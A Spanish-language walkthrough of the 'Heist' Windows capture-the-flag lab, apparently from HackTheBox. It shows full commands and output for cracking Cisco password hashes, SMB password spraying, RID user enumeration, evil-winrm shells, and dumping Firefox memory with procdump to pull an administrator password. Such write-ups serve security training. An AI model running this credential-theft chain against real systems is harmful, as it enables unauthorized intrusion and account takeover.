Heist

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

El reto Heist es un CTF de dificultad sencilla centrado en un entorno Windows, que expone un portal web accesible mediante IIS. A través de este sitio, se obtiene acceso a un archivo de configuración de un router Cisco, el cual contiene hashes de contraseñas de tipo 5 y 7. El análisis de estos hashes representa el primer vector de entrada, ya que pueden ser crackeados usando herramientas específicas como John the Ripper o scripts para contraseñas Cisco. Con las credenciales obtenidas, se realizan ataques de fuerza bruta sobre el servicio SMB, aprovechando la técnica de enumeración RID para identificar otros usuarios válidos en el sistema.

El segundo eje del CTF involucra el uso de los credenciales válidos para autenticar con uno de los usuarios mediante WinRM, utilizando herramientas como Evil-WinRM. A partir de aquí se consolida el acceso inicial (foothold) y se continúa con una fase de post-explotación. La observación de los procesos en ejecución revela que el usuario comprometido tiene Firefox abierto, lo cual sugiere una oportunidad para explotar la memoria del proceso y acceder a datos sensibles. El atacante aprovecha esta situación utilizando la herramienta procdump para extraer el contenido en memoria de firefox.exe, que luego analiza en busca de información útil.

La escalada de privilegios se logra al descubrir que Firefox conserva credenciales en memoria relacionadas al portal web, específicamente a través del parámetro login_password. El análisis del volcado de memoria permite recuperar una contraseña de administrador, completando así el acceso total al sistema. Este flujo pone en práctica técnicas de recolección pasiva de credenciales, explotación de configuraciones débiles y herramientas nativas de Windows para movernos lateralmente y escalar privilegios dentro del entorno comprometido.

Enumeración de puertos/servicios

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -9m26s
| smb2-time: 
|   date: 2025-07-03T19:44:46
|_  start_date: N/A
📌 Parámetros
  • sCV:

    • -sC → Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV → Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n → No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# nmap -sCV --open -T4 -v -n 10.10.10.149  

Algunos de los elementos que nos reveló el escaneo de nmap y que nos pueden ayudar para resolver el ctf son los siguientes:

  • Puerto 80 (HTTP - IIS 10.0):

    • Sitio web activo con página de login (login.php), indicando posible vector web.

    • El título "Support Login Page" sugiere un sistema de soporte, potencialmente con archivos adjuntos o información sensible.

  • Puerto 5985 (WinRM):

    • Servicio expuesto de Windows Remote Management, fundamental para obtener una shell remota usando credenciales válidas con herramientas como evil-winrm.

Reconocimiento del puerto 80

Visitando la página web de la máquina nos vamos a encontrar con el siguiente panel de login que nos permite loguearnos como usuario "guest"

Hardcode Credentials

Inspeccionando el "Issues" vamos a encontrar una conversación entre un usuario de soporte y un cliente llamado "Hazard", que manifiesta tener un problema con un producto de Cisco, luego adjunta un "Attachment" en el chat con el siguiente contenido:

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

Bingo! ( ͡• ͜ʖ ͡•)

Encontramos 3 credenciales expuestas, vamos a intentar crackearlas con John the Ripper

Password Cracking with John

Copie todos los hashes a un archivo y se lo pase a John para intentar crackear las contraseñas con el diccionario Rockyou.txt

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# cat hashes                                                                    
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
0242114B0E143F015F5D1E161713
02375012182C1A1D751618034F36415408

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# john -w=/usr/share/wordlists/rockyou.txt hashes    
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent    (?)     
1g 0:00:00:17 DONE (2025-07-03 17:01) 0.05882g/s 206196p/s 206196c/s 206196C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Solo pudimos descifrar la primer credencial, sin embargo, si buscamos información sobre las últimas credenciales vamos a encontrar que están relacionadas con Cisco password 7

Cisco password tipo 7 es un método de ofuscación reversible utilizado por dispositivos Cisco para proteger contraseñas en configuraciones

Existen muchas páginas que nos permiten descifrar estas credenciales de forma online, cualquiera de ellas esta bien, lo importante es que nos de el siguiente resultado

Password Spraying con nxc

Ahora que tenemos credenciales vamos a implementar la técnica password spraying con nxc para buscar al usuario que haga "match" con alguna de estas passwords. Primero vamos a hacer dos diccionarios uno con los usuario que hallamos y otro con las credenciales. Luego usaremos el siguiente comando de nxc para implementar el ataque

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# cat users                                                   
hazard
rout3r
admin
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# cat passwords 
stealth1agent    
Q4)sJu\Y8qz*A3?d
$uperP@ssword 

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# nxc smb 10.10.10.149 -u users -p passwords --continue-on-success 

SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE                                                                                             
📌 Parámetros
  • smb → Módulo que indica que se trabajará contra el servicio SMB (Server Message Block)

  • 10.10.10.149 → Dirección IP del objetivo, es decir, el host sobre el cual se intentará la autenticación SMB.

  • -u users → Define el archivo o lista de usuarios que se usarán para autenticarse.

  • -p passwords → Define el archivo o lista de contraseñas a probar.

  • --continue-on-success → Indica que NetExec no debe detenerse si encuentra credenciales válidas. Por defecto, NetExec puede dejar de intentar combinaciones después de un éxito, pero con esta opción seguirá probando todas las combinaciones posibles (útil cuando se espera más de un usuario con credenciales válidas).

Las credenciales que hicieron el match fueron hazard:stealth1agent Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear a que servicios nos podemos conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: service_validation.sh

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# service_validation.sh 10.10.10.149 hazard 'stealth1agent'

[*] Probando credenciales contra 10.10.10.149 con usuario 'hazard'...

--- Probando smb ---
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 

--- Probando ldap ---

--- Probando winrm ---
WINRM       10.10.10.149    5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM       10.10.10.149    5985   SUPPORTDESK      [-] SupportDesk\hazard:stealth1agent

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.149    135    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
RPC         10.10.10.149    135    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 

--- Probando ftp ---

--- Probando ssh ---

Enumerando recursos del SMB con NXC

Los resultados del script anterior nos indica que podemos acceder al smb, por ende vamos a listar esos recursos y verificar si tenemos algún permiso nuevo sobre alguno de los directorios usando nxc

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# nxc smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --shares

SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.10.10.149    445    SUPPORTDESK      [*] Enumerated shares
SMB         10.10.10.149    445    SUPPORTDESK      Share           Permissions     Remark
SMB         10.10.10.149    445    SUPPORTDESK      -----           -----------     ------
SMB         10.10.10.149    445    SUPPORTDESK      ADMIN$                          Remote Admin                                                                                          
SMB         10.10.10.149    445    SUPPORTDESK      C$                              Default share                                                                                         
SMB         10.10.10.149    445    SUPPORTDESK      IPC$            READ            Remote IPC 
📌 Parámetros
  • smb → Indica que se utilizará el módulo SMB, que permite interactuar con recursos compartidos de red (carpetas, impresoras, etc.).

  • 10.10.10.149 → Dirección IP del host objetivo, que expone el servicio SMB y al cual se intentará autenticar.

  • -u 'hazard' → Especifica el nombre de usuario con el que se intentará autenticar (en este caso, 'hazard').

  • -p 'stealth1agent' → Especifica la contraseña correspondiente al usuario anterior (en este caso, 'stealth1agent').

  • --shares → Ordena a NetExec que, una vez autenticado, enumere los recursos compartidos SMB disponibles en el sistema remoto (por ejemplo, C$, ADMIN$, Users, etc.), junto con los permisos de acceso que el usuario autenticado tiene sobre ellos (lectura, escritura, etc.).

User enumeration con lookupsid_enum.sh

Los resultados de la enumeración del smb nos muestran que tenemos permisos de lectura sobre el recurso IPC$, este recurso es clave porque nos permite enumerar más objetos del dominio con herramientas como impacket-lookupsid

¿Qué es IPC$?

  • IPC$ (Inter-Process Communication share) es una carpeta especial que permite conexiones remotas a funciones administrativas, como autenticación, sesión de servicios, etc.

  • No contiene archivos visibles, pero sí podemos conectarnos a IPC$, significa que el usuario tiene algún tipo de privilegio en el dominio, como para usar llamadas RPC.

  • Aunque no tengamos acceso a otras carpetas de archivos (users, shared, etc.), acceder a IPC$ ya es suficiente para enumerar información sensible, como usuarios y grupos, usando RPC.

Ahora vamos a usar un script que diseñe en bash que implementa la enumeración de usuarios con lookupsid pero también parcea el output y nos deja una lista con los nombres de los usuarios en limpio para un posterior ataque. El script lo podes descargar desde el siguiente repositorio: lookupsid_enum.sh

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# lookupsid_enum.sh 10.10.10.149 'hazard' 'stealth1agent'
Uso: /usr/bin/lookupsid_enum.sh <IP> <usuario> <contraseña> <dominio>
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# lookupsid_enum.sh 10.10.10.149 'hazard' 'stealth1agent' ''
[*] Ejecutando impacket-lookupsid contra 10.10.10.149 con /hazard...
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos:
Administrator
Chase
DefaultAccount
Guest
Hazard
Jason
support
WDAGUtilityAccount
[+] Archivo generado: users_enum.txt

Password Spraying con nxc

Con este nuevo diccionario vamos a volver a intentar encontrar alguna contraseña que haga match para ver si hallamos algo nuevo

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# nxc smb 10.10.10.149 -u users_enum.txt -p passwords --continue-on-success  

SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Administrator:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Chase:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\DefaultAccount:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Guest:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Hazard:stealth1agent 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Jason:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:stealth1agent STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Administrator:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\DefaultAccount:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Guest:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Administrator:$uperP@ssword STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\DefaultAccount:$uperP@ssword STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Guest:$uperP@ssword STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\Jason:$uperP@ssword STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\support:$uperP@ssword STATUS_LOGON_FAILURE
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:$uperP@ssword STATUS_LOGON_FAILURE

Encontramos nuevas credenciales, ahora vamos a implementar nuevamente el script service_validation.sh para intentar buscar algún servicio al que tengamos autorización para acceder con las nuevas contraseñas

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# service_validation.sh 10.10.10.149 Chase 'Q4)sJu\Y8qz*A3?d'              

[*] Probando credenciales contra 10.10.10.149 con usuario 'Chase'...

--- Probando smb ---
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d 

--- Probando ldap ---

--- Probando winrm ---
WINRM       10.10.10.149    5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM       10.10.10.149    5985   SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)                                                                                       

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.149    135    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
RPC         10.10.10.149    135    SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d 

--- Probando ftp ---

--- Probando ssh ---

Tenemos credenciales válidas para acceder al WinRM, ahora podemos usar EvilWinRM y acceder al sistema.

Local enumeration

Una vez que logramos ingresar al equipo comprometido y tenemos RCE lo mejor es centrarnos en recolectar información crítica del entorno con el objetivo de:

  • Identificar usuarios privilegiados o cuentas de interés.

  • Enumerar pertenencias a grupos (net user, whoami /groups).

  • Revisar archivos sensibles (como historiales, scripts, contraseñas almacenadas).

  • Detectar servicios, tareas programadas o configuraciones mal implementadas.

  • Evaluar posibles vectores de escalada (como LAPS, ACLs, binarios con privilegios, etc.).

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# evil-winrm -i 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'        

                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chase

*Evil-WinRM* PS C:\Users\Chase\Desktop> whoami /all

USER INFORMATION
----------------

User Name         SID
================= ==============================================
supportdesk\chase S-1-5-21-4254423774-1266059056-3197185112-1012


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

*Evil-WinRM* PS C:\Users\Chase\Desktop> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    456      17     2288       5404               364   0 csrss
    291      13     2248       5160               480   1 csrss
    357      15     3548      14628              4944   1 ctfmon
    253      14     3960      13416              3900   0 dllhost
    166       9     1840       9700       0.03   6752   1 dllhost
    617      32    28976      57344               956   1 dwm
   1490      57    23256      78972              4496   1 explorer
   1057      72   163788     239764       4.03   6420   1 firefox
    347      19    10268      38756       0.05   6536   1 firefox
    401      35    40288     100292       0.55   6704   1 firefox
    378      28    24408      61460       0.22   6944   1 firefox
    355      25    16520      38972       0.05   7156   1 firefox
     49       6     1792       4672               776   1 fontdrvhost
     49       6     1508       3892               784   0 fontdrvhost
      0       0       56          8                 0   0 Idle

Process memory dumping con procdump.exe

Al enumerar los procesos que están corriendo en el sistema vamos a encontrar uno muy peculiar y es el firefox, lo que podemos hacer es un Process memory dumping de este programa: se trata de una técnica de post-explotación cuyo objetivo es extraer información sensible directamente de la memoria RAM de un proceso activo en el sistema comprometido. Para lograr esto vamos a necesitar cargar el ejecutable procdump64.exe al equipo mediante la sesion de EvilWinRM. Primero vamos a descargar el programa desde el sitio oficial y luego lo descomprimimos

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# ls
hashes  lookupsid_output.txt  passwords  Procdump.zip  users  users_enum.txt
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# unzip Procdump.zip    
Archive:  Procdump.zip
  inflating: procdump.exe            
  inflating: procdump64.exe          
  inflating: procdump64a.exe         
  inflating: Eula.txt 

Para cargar este ejecutable primero debemos conectarnos a EvilWinRM desde el directorio en donde se encuentra el procdump64.exe, y luego con el comando upload podremos subirlo.

*Evil-WinRM* PS C:\Users\Chase\Desktop> upload procdump64.exe
                                        
Info: Uploading /home/kali/Documents/HTB/HEIST/procdump64.exe to C:\Users\Chase\Desktop\procdump64.exe                                                                                    
                                        
Data: 566472 bytes of 566472 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -accepteula

*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -ma 6420

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[10:34:43] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_250704_103443.dmp
[10:34:43] Dump 1 writing: Estimated dump file size is 521 MB.
[10:34:45] Dump 1 complete: 521 MB written in 2.1 seconds
[10:34:46] Dump count reached.

*Evil-WinRM* PS C:\Users\Chase\Desktop> ls


    Directory: C:\Users\Chase\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         7/4/2025  10:34 AM      533012851 firefox.exe_250704_103443.dmp
-a----         7/4/2025  10:32 AM         424856 procdump64.exe
-a----        4/22/2019   9:08 AM            121 todo.txt
-ar---         7/4/2025   1:13 AM             34 user.txt

Credential Harvesting

Una vez que ya tenemos el archivo .dmp lo vamos a descargar a nuestro equipo Kali y mientras se realiza la descarga filtraremos contenido con la palabra "password", como se trata de un archivo muy extenso a medida que avance la descarga podremos ir ejecutando el comando para filtrar contenido y veremos mas lineas con mas información

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# strings firefox.exe_250704_103443.dmp | grep -ie "login_username\|login_password"

"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
📌 Parámetros
  • strings → Herramienta que extrae texto imprimible (cadenas legibles en ASCII o Unicode) de archivos binarios.

  • firefox.exe_250704_103443.dmp → Archivo de entrada, en este caso un volcado de memoria del proceso Firefox.

  • | → El pipe toma la salida del comando strings y la envía como entrada al siguiente comando (grep), permitiendo que solo las líneas relevantes sean filtradas.

  • grep → Utilidad para buscar patrones de texto dentro de la entrada proporcionada. En este caso, busca líneas que contengan nombres de parámetros relacionados a autenticación.

  • -i → Opción que hace que grep realice la búsqueda ignorando mayúsculas y minúsculas (case-insensitive).

  • -e "login_username\|login_password" → Expresión regular que define dos patrones a buscar: login_username o login_password. El símbolo \| es un operador OR en grep para combinar múltiples patrones.

Encontramos nuevas credenciales que parecen ser del Administrator, ahora vamos a chequear a qué servicios podemos conectarnos con ellas

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# service_validation.sh 10.10.10.149 Administrator '4dD!5}x/re8]FBuZ'         

[*] Probando credenciales contra 10.10.10.149 con usuario 'Administrator'...

--- Probando smb ---
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)

--- Probando ldap ---

--- Probando winrm ---
WINRM       10.10.10.149    5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM       10.10.10.149    5985   SUPPORTDESK      [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.10.149    135    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
RPC         10.10.10.149    135    SUPPORTDESK      [-] Check admin error: dcom initialization failed with stringbinding: "ncacn_ip_tcp:10.10.10.149[49685]", please try "--rpc-timeout" option. (probably is admin)
RPC         10.10.10.149    135    SUPPORTDESK      [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ

--- Probando ftp ---

--- Probando ssh ---

Y así podemos ingresar al sistema con la cuenta del admin

┌──(root㉿kali)-[/home/kali/Documents/HTB/HEIST]
└─# evil-winrm -i 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ' 

                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
supportdesk\administrator

Last updated